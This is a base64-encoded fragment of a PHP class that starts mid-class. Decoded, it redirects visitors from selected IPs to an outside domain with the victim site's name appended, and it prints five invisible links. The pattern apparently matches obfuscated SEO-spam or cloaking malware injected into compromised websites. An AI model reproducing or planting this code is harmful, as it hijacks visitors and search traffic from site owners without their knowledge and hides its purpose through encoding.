cHVibGljIGZ1bmN0aW9uIEp1bXAoKXsKCQlpZigkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJJGRv bWFpbiAgPSBzdHJfcmVwbGFjZSgiLiIsIl8iLCR0aGlzLT5kb21haW4pOwoJCQloZWFkZXIoJ0xv Y2F0aW9uOiBodHRwOi8vbnQud3hjb29sYmFieS5jb20vbnQvP2pwXycuJGRvbWFpbik7CgkJCWV4 aXQ7CgkJfQoJfQoJCglwdWJsaWMgZnVuY3Rpb24gX3VuY29uZGl0aW9uX2hvb2soKXsKCQkkYXJy YXkgPSBhcnJheSgpOwoJCWZvcigkYT0wOyRhPDU7JGErKyl7CgkJCWVjaG8gJzxhIGhyZWY9Iicu QXBwX0dldExpbmsoKS4nIj48L2E+Jy4iXG4iOwoJCX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gX3Vu U3BpZGVyX2hvb2soKXsKCQkvLwoJfQoKCglwdWJsaWMgZnVuY3Rpb24gc3RyU3RhcnRXaXRoKCRu ZWVkbGUsICRoYXlzdGFjayl7CiAgCSAgcmV0dXJuIChzdWJzdHIoJGhheXN0YWNrLCAwLCBzdHJs ZW4oJG5lZWRsZSkpPT0kbmVlZGxlKTsKCX0KCQoJcHVibGljIGZ1bmN0aW9uIGN1dCgkZmlsZSwk ZnJvbSwkZW5kKQoJeyAKCQkkbWVzc2FnZT1leHBsb2RlKCRmcm9tLCRmaWxlKTsgCgkJJG1lc3Nh Z2U9ZXhwbG9kZSgkZW5kLCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJuICAgJG1lc3NhZ2VbMF07Cgl9 Cn0KCgo=